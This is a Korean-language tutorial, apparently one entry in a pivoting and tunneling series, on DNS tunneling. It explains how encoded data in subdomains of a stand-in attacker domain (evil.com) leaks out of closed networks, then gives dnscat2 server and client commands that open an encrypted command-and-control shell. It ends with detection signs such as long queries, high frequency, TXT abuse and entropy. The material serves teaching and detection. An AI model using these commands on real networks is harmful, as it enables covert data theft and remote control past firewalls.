피버팅과터널링_15_DNS 터널링
1. 개요
DNS 터널링(DNS Tunneling)은 엄격하게 통제된 폐쇄망 환경에서, IP 통신이 불가능할 때 DNS 프로토콜(UDP 53)을 이용하여 외부와 데이터를 주고받는 고도의 우회 기법이다.
대부분의 기업 보안 정책은 내부 시스템이 외부로 직접 접속하는 것(Outbound)을 차단하지만, 내부 DNS 서버를 통해 외부 도메인(예: google.com)의 IP 주소를 질의하는 건 필수적인 서비스로 간주하여 허용한다. DNS 터널링은 이러한 "재귀적 질의(Recursive Query)" 구조를 악용한다.
2. 동작 원리
2.1 일반적인 DNS 질의 과정
클라이언트는 www.google.com의 IP를 알기 위해 로컬 DNS 서버에 물어보고, 로컬 DNS는 루트 힌트부터 시작하여 최종적으로 google.com의 권한 있는 네임서버(Authoritative Name Server)에 질의한다.
2.2 터널링 메커니즘
공격자는 자신이 관리하는 도메인(예: evil.com)의 권한 있는 네임서버(Authoritative NS)를 공격자 서버로 지정해 둔다.
- 데이터 인코딩: 피벗 호스트(감염된 PC)는 외부로 유출할 데이터를 16진수나 Base32 등으로 인코딩하여, 공격자 도메인의 서브도메인 부분에 삽입한다.
- 예:
[EncodedData].evil.com에 대한 A 레코드 또는 TXT 레코드 질의 시도.
- 예:
- 질의 전달 (Forwarding): 피벗 호스트 -> 내부 DNS 서버 -> ... -> 공격자 DNS 서버(evil.com)로 질의가 전달된다. 중간 방화벽은 이를 정상적인 DNS 트래픽으로 간주한다.
- 데이터 수신 및 응답: 공격자 서버는 서브도메인(
[EncodedData])을 복호화하여 데이터를 획득한다. 그리고 피벗 호스트에게 보낼 명령어나 데이터를 DNS 응답 패킷의 TXT 레코드나 CNAME 레코드 등에 담아 반환한다.
3. 실습: dnscat2
dnscat2는 이러한 DNS 터널링을 쉽게 구현해주는 도구로, 암호화된 C2(Command and Control) 채널을 생성한다.
3.1 서버 설정 (공격자)
# Ruby 기반 서버 실행. 도메인 소유 시 해당 도메인 지정.
ruby ./dnscat2.rb [EvilDomain]
도메인이 없을 경우 cdns 모드로 직접 연결할 수도 있지만, 실제 방화벽 우회 효과를 보려면 정식 도메인과 NS 레코드 설정이 필요하다.
3.2 클라이언트 실행 (피벗 호스트)
# 서버 접속 시 제공된 Secret 값 사용
./dnscat --secret=[SecretKey] [EvilDomain]
3.3 기능
연결이 수립되면 공격자는 가상 쉘을 획득하며, 파일 다운로드/업로드, 쉘 실행, 포트 포워딩(listen 명령어) 등의 기능을 수행할 수 있다. 예를 들어, listen 2222:127.0.0.1:22 명령은 DNS 터널을 통해 포트 포워딩을 수행한다.
4. OpsSec 및 탐지
DNS 터널링은 매우 느리지만 방화벽 우회율이 높다. 그러나 다음과 같은 특징으로 인해 보안 관제 시스템(SIEM)에 탐지될 수 있다.
- 비정상적인 도메인 질의 길이: 서브도메인 부분이 매우 길고 랜덤한 문자열로 구성된다.
- 높은 질의 빈도: 짧은 시간에 특정 도메인에 대한 질의가 폭증한다.
- TXT 레코드 남용: 일반적인 DNS 트래픽에서 잘 쓰이지 않는 TXT 레코드의 크기가 비정상적으로 크다.
- 엔트로피 분석: 도메인 명의 무작위성(Entropy)이 높다.